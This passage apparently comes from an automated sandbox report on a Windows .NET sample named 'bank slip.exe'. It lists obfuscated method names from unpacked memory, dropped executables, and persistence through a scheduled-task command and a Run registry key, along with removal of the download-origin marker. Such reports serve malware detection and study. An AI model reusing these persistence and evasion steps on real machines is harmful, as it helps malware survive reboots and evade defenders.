Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, sfsXZwXfvR3dieCKhH.cs	High entropy of concatenated method names: 'YiU0OufSNm', 'z9i0n4ipEG', 'Lm00tsR1eX', 'hDJ0BkH2R2', 'aUh0ybjvXx', 'mp80lp9Xlo', 'sHS0i91quN', 'zTJ0R5eWM2', 'MFA0cu1dV7', 'smI0GoLdSm'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, J4A3nvmZhShG1GYEQC.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'YmCNcMnCeq', 'NtqNGlSwO9', 'KAjNzYD1ME', 'MUyg1ly9Gs', 'BCkgYYXAFy', 'kw5gN7K2t4', 'EenggbBxnZ', 'Jj4kEBgc4dr9geLRrGo'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	High entropy of concatenated method names: 'NXAgpSUtEN', 'K9Cg5riOUp', 'TIbg0eJT1e', 'k7MgZnEZJk', 'eJxgAvWARR', 'bU7gbXc9Ny', 'dFVgaa9mFK', 'XrAgJ5bSYx', 'JpFget3PxG', 'eKJgkR2f2Y'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, wWkMA98MASUoIsFn4D.cs	High entropy of concatenated method names: 'ToString', 'H8e9fTReSf', 'Vjw9HMOSPX', 'aDF9daCfIn', 'oYL9qjQ1RB', 'apo98terv2', 'bYK92qkZ1t', 'EtX96er81k', 'QLW9W5FFeX', 'evq9T7siJM'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, rdZNDk11na0gtIvC30.cs	High entropy of concatenated method names: 'XhBMYqWebf', 'V0eMgcuxni', 'EG7MDlR3Kx', 'TpnM5J3fFy', 'JJOM0yjYnH', 'dMIMATgFr8', 'qHFMbJ0gfv', 'uaOriemfoK', 'I30rRX29EZ', 'hKxrcH4pNx'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, UfiEhAqDBRkf2XDQp0.cs	High entropy of concatenated method names: 'Tk1SUP3Fqb', 'jx4SLLsFla', 'KMiSO7UFh7', 'MCiSnUDoKA', 'xDlSHbs4Gw', 'z6iSdYeAcc', 'iUySqKngX3', 'UaBS8RTyL8', 'GmqS23bauH', 'UM6S6L7QVK'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, W5NXKHMEm5Ij918IP7.cs	High entropy of concatenated method names: 'QgvXk4pUVt', 'l4gXjsLqkl', 'ToString', 'Ar1X5tacoG', 'pVaX0eqs9V', 'FapXZURIcs', 'jTDXAmywlC', 'srlXb6R35Y', 'EVWXamgb3o', 'Tv1XJn0ll6'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, Ep5nCIitlJU5ZYBXvp.cs	High entropy of concatenated method names: 'CXLYaqNn54', 'zCbYJ9oL65', 'SRYYk8HhEw', 'DwDYjeBskG', 'X25YScAJ1X', 'pcjY96OfvN', 'wIrtDp71pY7vyKBqMM', 'cSZ2liZPgDqxvZa89G', 'tAgYYldZAp', 'L04YgIgdft'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, R7bVXuZ7MHjwb6DtgD.cs	High entropy of concatenated method names: 'eukA4bblGb', 'zykAKrCvBd', 'lu0ZdRHtDw', 'uX1ZqZu6wG', 'PhgZ8CiWne', 'KiYZ2XJygS', 'klCZ6uWFWq', 'LluZWZVy6l', 'SOdZTFu2pj', 'P34ZUDQk8m'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, A6VJMMhuqgN8emaiMN.cs	High entropy of concatenated method names: 'SeWrw4Qgns', 'FFNrH1r4c8', 'wnUrdA6X2X', 'cbBrqtpYPA', 'QZbrO4EvhQ', 'JmQr8m3Abt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, AQKpSGeTUbq29D6fK9.cs	High entropy of concatenated method names: 'sbtbpix1bH', 'nqgb0CoXp0', 'Pu6bAv6J25', 'BfKbaKWa5h', 'k9JbJ2MGvV', 'tkZAyYL42j', 'AYYAlvdiLG', 'PEZAirePfZ', 'LAAAR0XvfB', 'OW5AcMu1R8'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, jmNIBcrHrW0ELPZGY6.cs	High entropy of concatenated method names: 'Er4a5a19cy', 'W8gaZ1reJu', 'qZmab8RrCN', 'eXvbGARaVF', 'bpAbzkKBy3', 'AkWa1C0Q1s', 'EDHaYvUyt3', 'kMoaNPMZf1', 'lw5agQw1EV', 'dIbaDoJbUB'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, fqCqGBPw45OflmtbiV.cs	High entropy of concatenated method names: 'Dispose', 'Du1YcRnvKw', 'a8yNHNyfl3', 'dniooc7Fr2', 'XUXYGAfjdg', 'tgIYz0PaV2', 'ProcessDialogKey', 'IsZN1pZd1V', 'UuqNYWPHYp', 'yFcNN4atNj'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, x0DyjfzCgiXqO6cHLY.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y7UMvd8gfk', 'DVKMSHddrK', 'kPmM9ST8L7', 'SnbMXPSUBM', 'OI1MrFyxmg', 'CeCMMJ4HLF', 'qEMM7kxEmA'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, pssgAdWQVCHOX6LkNrQ.cs	High entropy of concatenated method names: 'xKMMQHqDTo', 'HhPME4AqoJ', 'jTHMmH5CZn', 'GRQMVL2mxa', 'y5eM4D0bLA', 'C6pMhMOOuS', 'nSDMKaYI0c', 'l2wMPJKRub', 'xHCMsL6Ylk', 'D3eMIHfpiI'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, RYQ0TUYmVRwcWgAP8g.cs	High entropy of concatenated method names: 'nATZVtn5AL', 'PuYZhxnT3k', 'jDtZPfuAGR', 'snQZsK738G', 'iiCZSCNs9d', 'v8IZ9Cv5or', 'jncZXPlJTJ', 'ecbZrciJdh', 'masZM3AWsT', 'RQFZ7vmB5n'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, CdNb8MHDbjsBQ7T66m.cs	High entropy of concatenated method names: 'sghaQllE8V', 'dBpaER9nBx', 'aukamyehLL', 'F3raVC8iUJ', 'nS9a4P3gn5', 'fjwahJ5dle', 'TVdaKIsuI4', 'E1paPKp3Vl', 'PJYaslH4xW', 'lUxaIVusgu'
Source: 0.2.bank slip.exe.39b1e08.5.raw.unpack, kLyHujWW6FSxHLWh9NF.cs	High entropy of concatenated method names: 'ToString', 'xVA7gb6X1l', 'iuV7DAFhmG', 'P6y7pa5xqy', 'yIN75ApCuc', 'C0v70iAb1P', 'GZ97ZfgM7F', 'NJh7At9q6y', 'DKoeVtmHlj4w1TIEG7Q', 'iIpZ9XmqLF1fgNQto3a'
Source: 0.2.bank slip.exe.389c998.7.raw.unpack, E93JP.cs	High entropy of concatenated method names: 'O3GewIY79r', 'ozlix3jYlSi', 'rTdmwtTHv1N', 'jqRy6h0g1cX', 'JG6N0SP', 'x9Oe05WPWUp', 'JhSgt5x', 'H9d', 'OBrYDtnZ2J', 'ZQHYbk'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, HxsbFDEGN9yUQ06UPl.cs	High entropy of concatenated method names: 'Gs3vPaIkSA', 'IJsvsucB6B', 'sLevwPL59E', 'Qs5vHgSk4H', 'N5Qvq12YFH', 'vuQv8WOgXG', 'ecNv6ZBQl3', 'E54vWCcZYi', 'lNCvUqeyXf', 'g2RvfMJF8J'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, KDgZwpWiswQerbEGq0d.cs	High entropy of concatenated method names: 'qBDX8eiikioJA', 'UGCQwwCCfLZM3I1ggHM', 'SGOYgFCPK9EHS6B8L8W', 'dUWmDYCXUSL7yAo0bsp', 'BR2flPCm2JHJQ9EXNYO', 'YxSpPhCcTlucnEUgaBC'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RPBv9eW6P3fcSVhK7Q6.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nPv7OFCsXB', 'Mu97nTjuua', 'z1l7tpu6DC', 'vOx7B8pPPP', 'IB37y1uRxB', 'B8U7lqkR16', 'qgI7i2dV5v'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, h0ksr6wL5baDLWDeKh.cs	High entropy of concatenated method names: 'p9CXR6CL4I', 'af7XGTu5i1', 'tQar1Xlwxg', 'vY3rYuyqIP', 'IubXfLgSOa', 'stxXLgMs6T', 'qpkXu4RQIw', 'JpDXONZh4f', 'LvnXnpgEBJ', 'OpFXtHpTtq'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, LuAmB1CIIBw0IIen84.cs	High entropy of concatenated method names: 'uUAm34lTZ', 'J4xV4tVZt', 'sSZhNLRPU', 'W1jK3VSLN', 'OWMssnrw4', 'gEpIOrSt2', 'w3DfiEdqesAAVIUP75', 'hIxk1u9ltAxoTB6UJK', 'UU5ronB8n', 'wQy7Z3QBc'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, DhkeECurkuM2ajfWWK.cs	High entropy of concatenated method names: 'uDGr5yCfeX', 'wvWr0dnCB8', 'ymOrZ23Pt6', 'DOUrA7q92l', 'jh6rbEhjb8', 'hIMraGEVxT', 'Mf0rJh45n0', 'ygsreVyp0T', 'jgerkO4JJt', 'smxrjodxxm'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, sfsXZwXfvR3dieCKhH.cs	High entropy of concatenated method names: 'YiU0OufSNm', 'z9i0n4ipEG', 'Lm00tsR1eX', 'hDJ0BkH2R2', 'aUh0ybjvXx', 'mp80lp9Xlo', 'sHS0i91quN', 'zTJ0R5eWM2', 'MFA0cu1dV7', 'smI0GoLdSm'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, J4A3nvmZhShG1GYEQC.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'YmCNcMnCeq', 'NtqNGlSwO9', 'KAjNzYD1ME', 'MUyg1ly9Gs', 'BCkgYYXAFy', 'kw5gN7K2t4', 'EenggbBxnZ', 'Jj4kEBgc4dr9geLRrGo'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYNQdoLFBlDdX1Oj8U.cs	High entropy of concatenated method names: 'NXAgpSUtEN', 'K9Cg5riOUp', 'TIbg0eJT1e', 'k7MgZnEZJk', 'eJxgAvWARR', 'bU7gbXc9Ny', 'dFVgaa9mFK', 'XrAgJ5bSYx', 'JpFget3PxG', 'eKJgkR2f2Y'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, wWkMA98MASUoIsFn4D.cs	High entropy of concatenated method names: 'ToString', 'H8e9fTReSf', 'Vjw9HMOSPX', 'aDF9daCfIn', 'oYL9qjQ1RB', 'apo98terv2', 'bYK92qkZ1t', 'EtX96er81k', 'QLW9W5FFeX', 'evq9T7siJM'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, rdZNDk11na0gtIvC30.cs	High entropy of concatenated method names: 'XhBMYqWebf', 'V0eMgcuxni', 'EG7MDlR3Kx', 'TpnM5J3fFy', 'JJOM0yjYnH', 'dMIMATgFr8', 'qHFMbJ0gfv', 'uaOriemfoK', 'I30rRX29EZ', 'hKxrcH4pNx'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, UfiEhAqDBRkf2XDQp0.cs	High entropy of concatenated method names: 'Tk1SUP3Fqb', 'jx4SLLsFla', 'KMiSO7UFh7', 'MCiSnUDoKA', 'xDlSHbs4Gw', 'z6iSdYeAcc', 'iUySqKngX3', 'UaBS8RTyL8', 'GmqS23bauH', 'UM6S6L7QVK'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, W5NXKHMEm5Ij918IP7.cs	High entropy of concatenated method names: 'QgvXk4pUVt', 'l4gXjsLqkl', 'ToString', 'Ar1X5tacoG', 'pVaX0eqs9V', 'FapXZURIcs', 'jTDXAmywlC', 'srlXb6R35Y', 'EVWXamgb3o', 'Tv1XJn0ll6'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, Ep5nCIitlJU5ZYBXvp.cs	High entropy of concatenated method names: 'CXLYaqNn54', 'zCbYJ9oL65', 'SRYYk8HhEw', 'DwDYjeBskG', 'X25YScAJ1X', 'pcjY96OfvN', 'wIrtDp71pY7vyKBqMM', 'cSZ2liZPgDqxvZa89G', 'tAgYYldZAp', 'L04YgIgdft'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, R7bVXuZ7MHjwb6DtgD.cs	High entropy of concatenated method names: 'eukA4bblGb', 'zykAKrCvBd', 'lu0ZdRHtDw', 'uX1ZqZu6wG', 'PhgZ8CiWne', 'KiYZ2XJygS', 'klCZ6uWFWq', 'LluZWZVy6l', 'SOdZTFu2pj', 'P34ZUDQk8m'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, A6VJMMhuqgN8emaiMN.cs	High entropy of concatenated method names: 'SeWrw4Qgns', 'FFNrH1r4c8', 'wnUrdA6X2X', 'cbBrqtpYPA', 'QZbrO4EvhQ', 'JmQr8m3Abt', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, AQKpSGeTUbq29D6fK9.cs	High entropy of concatenated method names: 'sbtbpix1bH', 'nqgb0CoXp0', 'Pu6bAv6J25', 'BfKbaKWa5h', 'k9JbJ2MGvV', 'tkZAyYL42j', 'AYYAlvdiLG', 'PEZAirePfZ', 'LAAAR0XvfB', 'OW5AcMu1R8'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, jmNIBcrHrW0ELPZGY6.cs	High entropy of concatenated method names: 'Er4a5a19cy', 'W8gaZ1reJu', 'qZmab8RrCN', 'eXvbGARaVF', 'bpAbzkKBy3', 'AkWa1C0Q1s', 'EDHaYvUyt3', 'kMoaNPMZf1', 'lw5agQw1EV', 'dIbaDoJbUB'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, fqCqGBPw45OflmtbiV.cs	High entropy of concatenated method names: 'Dispose', 'Du1YcRnvKw', 'a8yNHNyfl3', 'dniooc7Fr2', 'XUXYGAfjdg', 'tgIYz0PaV2', 'ProcessDialogKey', 'IsZN1pZd1V', 'UuqNYWPHYp', 'yFcNN4atNj'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, x0DyjfzCgiXqO6cHLY.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Y7UMvd8gfk', 'DVKMSHddrK', 'kPmM9ST8L7', 'SnbMXPSUBM', 'OI1MrFyxmg', 'CeCMMJ4HLF', 'qEMM7kxEmA'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, pssgAdWQVCHOX6LkNrQ.cs	High entropy of concatenated method names: 'xKMMQHqDTo', 'HhPME4AqoJ', 'jTHMmH5CZn', 'GRQMVL2mxa', 'y5eM4D0bLA', 'C6pMhMOOuS', 'nSDMKaYI0c', 'l2wMPJKRub', 'xHCMsL6Ylk', 'D3eMIHfpiI'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, RYQ0TUYmVRwcWgAP8g.cs	High entropy of concatenated method names: 'nATZVtn5AL', 'PuYZhxnT3k', 'jDtZPfuAGR', 'snQZsK738G', 'iiCZSCNs9d', 'v8IZ9Cv5or', 'jncZXPlJTJ', 'ecbZrciJdh', 'masZM3AWsT', 'RQFZ7vmB5n'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, CdNb8MHDbjsBQ7T66m.cs	High entropy of concatenated method names: 'sghaQllE8V', 'dBpaER9nBx', 'aukamyehLL', 'F3raVC8iUJ', 'nS9a4P3gn5', 'fjwahJ5dle', 'TVdaKIsuI4', 'E1paPKp3Vl', 'PJYaslH4xW', 'lUxaIVusgu'
Source: 0.2.bank slip.exe.6a80000.11.raw.unpack, kLyHujWW6FSxHLWh9NF.cs	High entropy of concatenated method names: 'ToString', 'xVA7gb6X1l', 'iuV7DAFhmG', 'P6y7pa5xqy', 'yIN75ApCuc', 'C0v70iAb1P', 'GZ97ZfgM7F', 'NJh7At9q6y', 'DKoeVtmHlj4w1TIEG7Q', 'iIpZ9XmqLF1fgNQto3a'
Source: 0.2.bank slip.exe.260f66c.1.raw.unpack, XG.cs	High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.bank slip.exe.6750000.10.raw.unpack, XG.cs	High entropy of concatenated method names: 'S1d', 'RgtTUJcyZL', 'n1Q', 'M1r', 'Y1a', 'U1m', 'k2an4M', 'gt', 'kU', 'rK'
Source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, E93JP.cs	High entropy of concatenated method names: 'O3GewIY79r', 'ozlix3jYlSi', 'rTdmwtTHv1N', 'jqRy6h0g1cX', 'JG6N0SP', 'x9Oe05WPWUp', 'JhSgt5x', 'H9d', 'OBrYDtnZ2J', 'ZQHYbk'

Source: C:\Users\user\Desktop\bank slip.exe	File created: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\bank slip.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\mKSjGvfmIulVB" /XML "C:\Users\user\AppData\Local\Temp\tmp2859.tmp"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GUIVTme			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run GUIVTme			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe:Zone.Identifier read attributes \| delete

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\bank slip.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
